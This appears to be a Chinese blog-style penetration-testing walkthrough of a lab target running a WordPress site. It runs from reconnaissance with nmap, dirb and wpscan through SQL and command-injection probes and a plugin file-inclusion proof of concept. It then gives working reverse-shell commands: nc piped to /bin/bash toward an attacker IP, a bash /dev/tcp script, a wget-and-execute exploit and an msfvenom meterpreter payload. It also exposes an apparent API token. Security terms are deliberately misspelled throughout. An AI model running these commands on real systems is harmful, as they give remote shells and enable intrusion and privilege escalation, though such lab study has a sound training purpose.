PHP站点渗投_Web

如何反弹shell

PHP站点渗投_php_02

这个目录下/usr/share/windows-resources/binaries

有很多的在Windows上运行的exe程序

PHP站点渗投_Web_03

反弹的shell连接

PHP站点渗投_Web_04

Start-BitsTransfer http://192.168.55.11/powercat.psl pc.psl

PHP站点渗投_Web_05

.\pc.psl

报错内容为安全策略不允许执行.psl

PHP站点渗投_Web_06

所以我们用命令行改一下

Set-ExecutionPolicy Unrestricted

提示需要更高权限

PHP站点渗投_Kali_07

Set-ExecutionPolicy Unrestricted

跳出提示输入y

就成功改掉了

PHP站点渗投_Kali_08

cd\
cd .\Users
dir
cd yuanfh
cd .\Desktop\
ls
.\pc.psl

成功执行了.psl

PHP站点渗投_Web_09

.\pc.psl
..\pc.psl
powercat

导入pc.psl

然后使用power cat

测试诸如点是否存在

PHP站点渗投_php_10

测试注入点是否存在通常是指在Web应用程序的安全测试中,检查是否有可能执行SQL注如、命令注入或其他类型的注入公鸡。这是一个敏感的操作,因为它涉及到可能违反法律和道德规范的行为。在进行此类测试之前,你必须确保你有权对目标系统进行安全测试,通常这意味着你需要得到系统所有者或管理员的明确许可。

发现地址

在Kali Linux中,有许多工具可以用来发现局域网内的IP地址。以下是几种常用的方法:

使用arp命令

arp命令可以显示本地计算机的ARP缓存表,其中包含了局域网内设备的IP地址和MAC地址。

sudo arp -a

使用nmap工具

nmap是一个强大的网络扫描工具,可以用来发现局域网内的活跃主机。

sudo nmap -sn 192.168.1.0/24

这里的192.168.1.0/24是你想要扫描的网络地址。这个命令会扫描该网段内的所有IP地址,并显示哪些地址有回应。

基本端口扫描

要扫描局域网内所有主机的开放端口,可以使用以下命令:

sudo nmap -p- 192.168.1.0/24

这里,-p-参数表示扫描所有65535个TCP端口,192.168.1.0/24是要扫描的局域网网段。

指定端口范围扫描

如果你只想扫描特定的端口范围,可以使用以下命令:

sudo nmap -p 1-1024 192.168.1.0/24

这里,-p 1-1024表示只扫描1到1024号端口。

快速扫描(SYN扫描)

如果你想进行更快速的扫描,可以使用SYN扫描(也称为半开放扫描):

sudo nmap -sS -p- 192.168.1.0/24

这里,-sS参数表示使用SYN扫描。

使用ping命令

ping命令可以用来测试与某个IP地址的连通性。你可以遍历一个网段的所有IP地址来发现活跃的设备。

for ip in $(seq 1 254); do 
    ping -c 1 192.168.1.$ip &>/dev/null && echo "192.168.1.$ip is up" 
done

这个脚本会依次ping局域网内的每个IP地址,并打印出有回应的地址。

使用fping工具

fping是一个快速的ping工具,可以同时ping多个IP地址。

sudo fping -a 192.168.1.0/24

使用netdiscover工具

netdiscover是一个用于发现局域网内所有设备的工具。

sudo netdiscover -r 192.168.1.0/24

使用avahi-browse工具

avahi-browse是一个用于浏览局域网内设备的服务发现工具。

sudo avahi-browse -a

使用ipneigh命令

ipneigh命令可以显示本地网络接口的邻居缓存表。

sudo ip neigh show

使用tcpdump工具

tcpdump是一个网络嗅探工具,可以用来捕获和分析网络流量。通过分析捕获的数据包,你可以发现局域网内的IP地址。


sudo tcpdump -i eth0 -nn host 192.168.1.0/24

以下是一些常见的注入点测试方法:

SQL注如测试

  1. 单引号测试:尝试在输入框中输入单引号',如果应用程序返回错误或者异常,这可能表明存在SQL注如的风险。
  2. 基于错误的注入:尝试输入可能导致SQL语法错误的输入,比如1' OR '1'='1,如果应用程序返回了数据库的错误信息,这可能是一个注入点。
  3. 基于时间的注入:使用延时函数,如MySQL中的BENCHMARK()SLEEP(),来测试应用程序的响应时间是否有异常变化。
  4. 基于联合查询的注入:尝试使用UNION SELECT语句来检索额外的数据,例如1 UNION SELECT version(), @@version--

命令注入测试

  1. 分隔符测试:尝试在输入中加入操作系统命令分隔符,如Windows中的;或Linux中的&&|,看是否能执行多个命令。
  2. 特殊字符测试:尝试输入特殊字符,如&<>*等,这些字符在命令行中有特殊含义,可能导致意外的命令执行。
  3. 反引号测试:在一些编程语言中,如PHP,可以使用反引号`来执行系统命令,尝试输入包含反引号的输入,看是否能执行命令。

注意事项

  • 合法性:未经授权的渗投测试是非法的,务必获得相应的授权。
  • 道德性:即使获得了授权,也应遵循道德准则,避免对生产环境造成影响。
  • 责任性:在发现漏动后,应负责任地向系统所有者报告,而不是滥用这些信息。
  • 安全性:在进行测试时,确保自己的行为不会对系统的安全性和稳定性造成威胁。

如果你是在合法授权的情况下进行测试,可以使用专业的工具如SQLMap、Burp Suite等来自动化检测注入点。这些工具能够帮助你更有效地识别和验证潜在的注入漏动。记住,任何安全测试都应该在合法和道德的框架内进行。

PHP站点渗投_Web_11

使用mnap -p22,80,139,445,10123 -sV 172.31.1.30

PHP站点渗投_Kali_12

输出结果

PHP站点渗投_Kali_13

history是root账户的命令执行日志

PHP站点渗投_Kali_14

利用dirb工具来遍历路径

dirb http://172.31.1.30

将结果枚举出来

PHP站点渗投_php_15

发现可疑的路径点击进来查看,看看重要文件,发现备份下载下来。

经过查看是一个web的网站源码,就是下面这个文件夹gila的备份zip

PHP站点渗投_php_16

使用wpscan扫描

wpscan  --url http://172.31.1.30/wp

wpscan 是一个用于审计 WordPress 网站安全的工具。它能够检测 WordPress 核心、插件、主题中的已知漏动,以及提供一些其他有用的信息。

如果你想要对 http://172.31.1.30/wp 进行扫描,可以使用以下命令:

wpscan --url http://172.31.1.30/wp

这个命令将会对指定的 URL 进行一个基本的扫描。默认情况下,wpscan 会检测 WordPress 核心、插件和主题的版本,并检查是否有已知的安全漏动。

附加选项

wpscan 提供了许多附加选项,可以根据需要进行配置。以下是一些常用的选项:

  • --enumerate: 枚举更多的信息,例如用户、插件、主题等。
  • --plugins: 只扫描插件。
  • --themes: 只扫描主题。
  • --vulns: 显示已知漏动。
  • --output-file <file>: 将扫描结果保存到文件。

例如,如果你想要枚举用户并显示已知漏动,可以使用以下命令:

wpscan --url http://172.31.1.30/wp --enumerate u --vulns

PHP站点渗投_php_17

wpscan --api-token hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 --url http://172.31.1.30/wp

当你使用 wpscan 进行 WordPress 安全扫描时,如果你有一个 WPScan API 密钥(API token),你可以将其添加到命令中以解锁额外的功能和更快的扫描速度。API 密钥通常用于支持 WPScan 项目,并通过捐赠获得(目前免费)。

以下是如何在你的命令中包含 API 密钥的示例:

wpscan --api-token hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 --url http://172.31.1.30/wp

在这个命令中,hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 是你的 API 密钥,http://172.31.1.30/wp 是你要扫描的 WordPress 站点的 URL。

附加选项

除了基本的扫描之外,你还可以添加其他选项来定制你的扫描。例如,如果你想要枚举用户并检查已知的漏动,你可以使用以下命令:

wpscan --api-token hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 --url http://172.31.1.30/wp --enumerate u --vulnerabilities

在这个命令中,--enumerate u 表示枚举用户,而 --vulnerabilities 表示检查已知的漏动。

通用流程

扫端口-发现端口-发现web站点/应用-手动搜集信息-遍历目录-后台登陆页面及重要文件-根据扫描到的目录、版本信息查看有什么针对性的专用漏动扫描器-检查有没有扫描可以利用。

sql注如

发现诸如点-sqlmap跑数据库名和表名-爆破应用数据库及数据表-管理员/用户数据表把账户和密吗下载出来-做破接-利用密吗登录管理员后台-进一步渗投站点

PHP站点渗投_php_18

来到这个站点去查一下wordpress站点的漏动及poc

PHP站点渗投_Kali_19

如何来到目标站点来验证一下,发现确实可以读取到passwd的内容,说明公鸡成功。

PHP站点渗投_php_20

结合这个漏动写一个带有本地shell.php的poc,在后面加上了cmd的命令执行,看看能不能返回命令执行的结果,回显公鸡成功。

172.31.1.30/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax, controller.php?aiaxActinotallow=getlds& cfg......

.../home/jarves/uptoad/shell.php&cmd=id

PHP站点渗投_Kali_21

poc修改成which nc

返回目标站点服务器有nc的客户端

PHP站点渗投_Web_22

蟹盖poc为

cmd=172.31.1.16 4444 

公鸡机这边打开监听

nc -nvlp 4444

然后执行目标站点的poc

PHP站点渗投_php_23

发现公鸡机连上了目标站点服务器了

但是ls没有回显,说明只是连上了并没有执行系统命令

PHP站点渗投_Web_24

在poc后面加上一个-e /bin/bash

如果还是没有的话,说明nc的版本问题可能是没有-e的指令

PHP站点渗投_Kali_25

cmd=nc 172.31.1.16 4444 | /bin/bash | nc 172.31.1.16 5555

PHP站点渗投_Kali_26

然后看一下有没有python环境,如果有的话可以制作一个功能更加完整的shell

PHP站点渗投_Web_27

有了shell就可以做提权了

PHP站点渗投_Kali_28

uname -a #看一下操作系统内核版本

PHP站点渗投_Web_29

lsb_release 操作系统是Ubuntu的21.04

PHP站点渗投_php_30


方式二

利用wget,下载我在kali机器上的反弹shell

PHP站点渗投_Web_31

要在Web端利用wget下载在Kali机器上的反弹shell,你需要先确保你的Kali机器上运行了一个Web服务器,例如Apache或Nginx。然后,将反弹shell脚本上传到Web服务器的目录中。接下来,你可以在Web端使用wget命令来下载这个反弹shell脚本。

PHP站点渗投_Web_32

写好一个exp,用python来作为服务器

serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80) ...

 

PHP站点渗投_Kali_33

在shell端这边下载exp

cd /tmp
pwd
wget http://172.31.1.16/exp
chmod 777 exp
./exp

PHP站点渗投_Kali_34

看回显发现也没有问题,成功了。执行了exp之后也获得了权限

以下是具体步骤:

  1. 在Kali机器上安装并配置Web服务器(以Apache为例):
sudo apt-get update
sudo apt-get install apache2
  1. 将反弹shell脚本上传到Apache的默认目录(通常是/var/www/html):
sudo cp /path/to/your/reverse_shell.php /var/www/html/
  1. 确保Apache服务正在运行:
sudo systemctl start apache2
sudo systemctl enable apache2
  1. 在Web端,使用wget命令下载反弹shell脚本。首先,找到你的Kali机器的IP地址,然后在Web端执行以下命令(将your_kali_ip替换为实际的IP地址):
wget http://your_kali_ip/reverse_shell.php
  1. 下载完成后,你可以使用PHP或其他支持的语言来执行反弹shell脚本。例如,如果你使用的是PHP,可以在Web端执行以下命令:
php reverse_shell.php

或者

要在Web端利用wget下载Kali机器上的反弹shell,你需要遵循以下步骤:

  1. 首先,在Kali机器上创建一个反弹shell脚本。这里我们使用bash shell作为示例:
#!/bin/bash
bash -i >& /dev/tcp/your_attacker_ip/your_attacker_port 0>&1

将上述代码中的your_attacker_ipyour_attacker_port替换为你的公鸡者IP地址和端口号。

  1. 保存脚本到一个文件,例如reverse_shell.sh,并确保它具有可执行权限:
chmod +x reverse_shell.sh
  1. 在Kali机器上启动一个监听器,以便接收反弹的shell连接。你可以使用netcatnc工具来实现这一点:
nc -lvp your_attacker_port

your_attacker_port替换为你在第1步中设置的端口号。

  1. 在Web端,使用wget命令下载反弹shell脚本。假设你已经知道Kali机器上的URL路径(例如:http://kali_machine_ip/reverse_shell.sh),则可以使用以下命令:
wget http://kali_machine_ip/reverse_shell.sh
  1. 下载完成后,你可以在Web端的机器上运行下载的反弹shell脚本,以连接到Kali机器:
./reverse_shell.sh

现在,你应该已经成功建立了从Web端到Kali机器的反弹shell连接。请注意,这种方法仅适用于你有权限访问Kali机器上的反弹shell脚本的情况。此外,出于安全原因,不建议在生产环境中使用此类技术。

exp编写

在Kali Linux上,你可以使用Metasploit框架来创建一个针对特定网站的漏动利用(exploit)脚本。以下是一个简单的示例,用于创建一个基于PHP的Web应用程序漏动的Metasploit模块:

  1. 首先,确保你已经安装了Metasploit框架。如果没有,请运行以下命令安装:
sudo apt-get update
sudo apt-get install metasploit-framework
  1. 创建一个新的Metasploit模块。打开终端并输入以下命令:
msfvenom -p php/meterpreter_reverse_tcp LHOST=your_kali_ip LPORT=your_kali_port -f raw > shell.php

your_kali_ip替换为你的Kali Linux机器的IP地址,将your_kali_port替换为你希望监听的端口号。这将生成一个名为shell.php的文件,其中包含一个反向TCP Meterpreter shell。

  1. 将生成的shell.php文件上传到目标网站的服务器上。你可以使用FTP客户端、SCP或其他方法将文件传输到目标服务器。
  2. 在Kali Linux上,启动Metasploit控制台并设置监听器:
msfconsole

在Metasploit控制台中,输入以下命令以设置监听器:

use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST your_kali_ip
set LPORT your_kali_port
exploit
  1. 现在,当目标用户访问上传了shell.php文件的网站时,他们将被连接到你的Kali Linux机器上的Metasploit监听器。你可以在Metasploit控制台中执行各种命令来控制目标系统。

请注意,这只是一个简单的示例,实际的公鸡可能需要更复杂的漏动利用和公鸡策略。在进行任何形式的渗投测试或公鸡之前,请确保你拥有合法的授权和权限。